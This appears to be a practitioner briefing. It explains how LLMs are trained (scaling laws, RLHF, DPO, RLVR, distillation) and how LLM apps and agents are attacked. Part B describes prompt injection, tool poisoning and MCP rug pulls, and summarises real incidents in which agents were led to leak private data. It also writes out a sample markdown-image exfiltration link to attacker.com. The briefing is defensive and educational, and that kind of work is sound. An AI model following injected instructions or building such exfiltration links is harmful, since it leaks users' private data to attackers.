Practitioner briefing · companion to the landscape

Building with LLMs — how they're made & how they break.

Two things the market map doesn't cover: the pipeline that turns raw next-token prediction into a reasoning model, and the security model of agents that share instructions and data in one token stream. Written for someone who ships with these, not just talks about them.

✓ verified confirmed against primary sources (papers, OWASP, Willison) ⚠ moving fast-changing (incidents, exact benchmarks)
← The LLM Landscape (market map)
Part A
How models are made

Two phases: pretraining (predict the next token on trillions of tokens) and post-training (turn that base model into something useful, aligned, and increasingly a reasoner). Where capability comes from is mostly a post-training story now.

A1 Pretraining & scaling laws

A base model is a raw next-token predictor. Useful as a substrate, useless as an assistant (it completes text, it doesn't follow instructions). How you spend compute here is governed by scaling laws.

Chinchilla, the load-bearing result : for compute-optimal training, scale parameters and tokens equally — roughly ~20 tokens per parameter. The 70B Chinchilla, trained on 4× more data at the same compute, beat the 280B Gopher (67.5% MMLU, +7pts). The lesson that reshaped the field: a smaller, well-fed model beats a bigger, undertrained one. Pre-2022 models were badly undertrained. (The old Kaplan-vs-Chinchilla "disagreement" was later shown to be a measurement artifact; Chinchilla's coefficients hold.)

The data wall

Chinchilla's arithmetic bites: a ~1T-param model wants ~20T tokens, but high-quality natural web text is estimated at only ~10–50T tokens total. That's the data wall — beyond trillions of tokens, high-information-density text gets scarce and returns collapse. Hence synthetic data. The nuance that matters:

Synthetic data is a mixer, not a replacement . Training on synthetic data alone does not beat natural web text (higher downstream loss). But mixing ~⅓ rephrased synthetic with ~⅔ natural text can hit the same validation loss 5–10× faster. The speedup is a mixture effect — "just generate more data" is a trap.

A2 Post-training — base model → assistant

The pipeline that makes a model helpful and aligned. Each stage solves a specific problem the previous one leaves open.

Stage 0
Base model
Raw next-token predictor from pretraining. Completes text; doesn't follow instructions.
Stage 1
SFT
Supervised fine-tune on human demonstrations. Now it follows instructions.
Stage 2
Preference opt
RLHF / DPO / RLAIF. Aligns tone, helpfulness, harmlessness to human (or AI) preference.
Stage 3
RLVR (optional)
RL on verifiable rewards. Turns it into a reasoning model. (See A3.)

RLHF, and why InstructGPT mattered

The classic recipe (InstructGPT): SFT on labeler demonstrations → train a reward model on ranked outputs → fine-tune with RL (PPO) against that reward. The headline result that proved alignment beats raw scale for usefulness: outputs from the 1.3B InstructGPT were preferred over the 175B GPT-3, a 100× smaller model, because it was aligned to what people actually wanted.

The simpler successors

MethodWhat it changesWhy it's used
RLHF (RM + PPO)The original: explicit reward model + RL loopPowerful but unstable, complex, compute-heavy
DPO (Direct Preference Optimization)Closed-form link between reward and optimal policy → no reward model, no RL sampling loop. Just a classification-style loss.Stable, lightweight, matches or exceeds PPO. The default for many open models.
Constitutional AI / RLAIFModel critiques & revises its own answers against a written "constitution," then RL uses AI-generated preferences instead of human labelsScales harmlessness without armies of human labelers (Anthropic's approach)

A3 The reasoning revolution — RLVR

The biggest capability shift since instruction tuning, and the one your market map (o-series, R-series, "thinking" models) rests on. The core idea is almost embarrassingly simple.

The key idea

Reward correctness, not human taste.

RLVR = Reinforcement Learning from Verifiable Rewards. Take problems with checkable answers (math, code, STEM). Let the model generate a long chain of thought, then reward it purely on whether the final answer is right — no human preference, no reward model, just a verifier. Do this at scale and reasoning emerges.

DeepSeek-R1-Zero is the striking proof : trained by pure RL with no SFT stage at all. The paper's own words — "reasoning abilities of LLMs can be incentivized through pure reinforcement learning, obviating the need for human-labeled reasoning trajectories." And the behaviors weren't programmed: self-reflection, verification, and dynamic strategy adaptation emerged on their own (the widely-cited "aha moment"). R1 then added a little SFT for readability on top.

PieceWhat it is
GRPO (Group Relative Policy Optimization)DeepSeek's RL algorithm. Drops PPO's separate value/critic model and instead scores each answer relative to a group of sampled answers → cheaper, less memory than PPO. A big reason R1 was so cheap to train.
Test-time computeThe reasoning shows up as a long chain of thought at inference. The model literally "thinks" longer to get harder problems right — a second scaling axis (spend inference compute, not just training compute).
Generalization debateRLVR trains on verifiable domains (math/code). Whether that reasoning transfers to non-verifiable domains (writing, judgment) is genuinely contested — the open research question.

A4 Distillation

Once a big model can reason, you can distill it: train a small "student" on the big "teacher's" outputs (its reasoning traces). DeepSeek distilled R1 into small Qwen and Llama models . The counterintuitive finding: a small model distilled from a strong reasoner often beats the same small model trained with RL directly — it's easier to copy a good reasoner's traces than to rediscover reasoning at small scale. This is the mechanism behind the cheap, fast, surprisingly-capable small models in the market.

A5 Builder's map — which model, when

Model typeWhat it isReach for it when
BaseRaw pretrained predictorAlmost never directly; you're fine-tuning it yourself
Instruct / chatBase + SFT + preference optMost tasks: extraction, chat, summarization, classification, tool use. Fast, cheap.
Reasoning / thinking+ RLVR, long chain-of-thoughtHard math, code, multi-step planning, agentic loops. Slower, pricier per task, more accurate.
"Alignment," mechanically: it's not a vibe — it's stages 2–3 of the pipeline (preference optimization + any safety RL). And this whole pipeline is the market's cost tiers: cheap models skimp on post-training compute; reasoning models spend heavily on RLVR + inference. The price you pay maps to the training and test-time compute baked in.
Part B
How they break

The security model of LLM apps, and especially agents. One architectural fact drives almost everything: instructions and data share the same token stream. There's no privilege separation between "what the developer told the model to do" and "what some web page it read told it to do."

B1 Prompt injection ≠ jailbreaking

People conflate these constantly. They're different problems with different fixes.

Prompt injection
Untrusted input hijacks the instructions the app author intended. The attacker isn't the user — it's whoever controls the data the model reads. An app-security problem.
Jailbreaking
Getting the model to violate its own safety training. The user is the attacker, targeting the model's guardrails. A model-alignment problem.

OWASP ranks prompt injection #1 (LLM01:2025) . And the two flavors:

TypeHowThreat level
DirectThe user types a malicious prompt themselvesManageable — you can distrust the user
IndirectMalicious instructions hidden in data the model retrieves: web pages, emails, docs, code comments, image alt-text, tool outputsThe scary one for agents & RAG — the payload rides in on "trusted" content, often invisible to humans

B2 The lethal trifecta

Simon Willison's framing (he coined "prompt injection"). The single most useful mental model for deciding whether an agent is dangerous.

The rule

Three ingredients. All three = exploitable.

An agent becomes dangerous exactly when it combines all three of these. Any two is usually fine. The fix isn't a better filter — it's removing one leg. Willison: "the only way to stay safe there is to avoid that lethal trifecta combination entirely."

Leg 1
Access to private data — your emails, repos, DB, files
Leg 2
Exposure to untrusted content — it reads web pages, issues, docs it didn't write
Leg 3
Ability to exfiltrate — it can send data out (a URL fetch, a rendered image, a tool call, a PR)

Concrete exfiltration channels: a rendered markdown image (![](https://attacker.com/?data=SECRET) leaks via the image request), a link the model is told to include, a tool call with attacker-chosen parameters, or a pull request to a public repo. The data leaves the moment the model is tricked into building one of these.

B3 The agent & MCP attack surface

Tool use, computer use, and MCP each widen the surface. The root issue: tool metadata (names, descriptions, parameters) is injected into the model's prompt — so merely connecting a tool hands its server text-level influence over your model.

Tool poisoning
Hidden malicious instructions in a tool's description — visible to the model, invisible to you. An innocent add() tool secretly tells the model to read a config file and exfiltrate it.
Rug pulls
A tool you approved as safe on install mutates its own definition later, silently rerouting to steal keys or data.
Confused deputy / shadowing
Run multiple MCP servers and a malicious one can override or intercept calls to a trusted one. It rides the trusted tool's permissions.
Excessive agency
OWASP LLM06:2025 — over-broad tool scopes, permissions, autonomy. A "read-only" agent whose token can also write/delete.

Documented incidents ⚠ fast-moving

IncidentDateWhat happened
GitHub MCP "Toxic Agent Flow" (Invariant Labs)May 2025A malicious public GitHub issue prompt-injects an agent reviewing it, making the agent pull private repo data and leak it via a PR to the public repo. Explicitly architectural, not a bug in the MCP server code.
ChatGPT Operator PII exfiltration (embracethered)Feb 2025OpenAI's browsing agent hijacked via indirect injection (payload on a visited page) to lift a user's email/phone/address from authenticated pages to an attacker site. The lethal trifecta in a shipping product.
WhatsApp MCP exploit (Invariant Labs)2025A benign-looking tool later swaps its definition to steal message history to a hard-coded recipient — rug pull + confused deputy.

B4 Why it's unsolved — and what actually helps

The honest baseline : OWASP concedes "it is unclear if there are fool-proof methods of prevention for prompt injection" because models are stochastic and don't segregate instructions from data. The UK NCSC (Dec 2025) calls it a problem that "may never be fully fixed." Willison: vendors advertising "95% protection" are selling false confidence — 95% blocked means 5% of infinite attacker attempts get through.

So you engineer the system, not the model. What genuinely reduces risk:

Break the trifecta
Remove one leg. No private data, OR no untrusted content, OR no exfiltration path. The most reliable move.
Least privilege
Narrow tool scopes, scoped tokens, per-repo/per-resource permissions. Shrinks the blast radius when (not if) injection lands.
Human-in-the-loop
Out-of-band confirmation for consequential actions (send, delete, pay, publish). Probabilistic, but real.
CaMeL (by design)
Google DeepMind/ETH. Extracts control+data flow from the trusted query into an explicit program, so untrusted data can't alter control flow. Secures the system even if the model stays injectable.
Even the best defense is partial . CaMeL is the strongest architectural approach so far, but it solves ~77% of AgentDojo tasks vs ~84% undefended (a real capability tax), still lets untrusted data influence data values, and shifts a burden onto users to author correct security policies. Treat anything claiming to "solve" prompt injection as theater; treat blast-radius reduction as the actual game.

B5 The OWASP LLM Top 10 (2025) — the map

Your reference frame for the broader landscape. Published Nov 2024, current for 2026.

#Risk#Risk
LLM01Prompt InjectionLLM06Excessive Agency
LLM02Sensitive Information DisclosureLLM07System Prompt Leakage
LLM03Supply ChainLLM08Vector & Embedding Weaknesses
LLM04Data & Model PoisoningLLM09Misinformation
LLM05Improper Output HandlingLLM10Unbounded Consumption

§ Sources & method

Two research passes (49 sources, 216 claims, 50 fact-checked), then every load-bearing claim re-verified by direct fetch of the primary source — because the automated verification round got throttled by transient API rate-limiting. All ✓ claims below trace to these primaries.

Chinchilla — Hoffmann et al. 2022
arXiv:2203.15556 · scaling laws
InstructGPT — Ouyang et al.
arXiv:2203.02155 · RLHF pipeline
DPO — Rafailov et al.
arXiv:2305.18290 · preference opt
Constitutional AI — Anthropic
arXiv:2212.08073 · RLAIF
DeepSeek-R1
arXiv:2501.12948 + Nature s41586-025-09422-z · RLVR, GRPO
Synthetic data
BeyondWeb 2508.10975 · Demystifying 2510.01631 (EMNLP 2025)
OWASP Top 10 for LLM Apps 2025
genai.owasp.org · LLM01, LLM06
The Lethal Trifecta — Simon Willison
simonwillison.net · Jun 16 2025
MCP prompt injection — Willison
simonwillison.net · Apr 9 2025
GitHub MCP exploit — Invariant Labs
invariantlabs.ai · May 26 2025
ChatGPT Operator exploit — embracethered
embracethered.com · Feb 2025
CaMeL — DeepMind/ETH
arXiv:2503.18813 · defense by design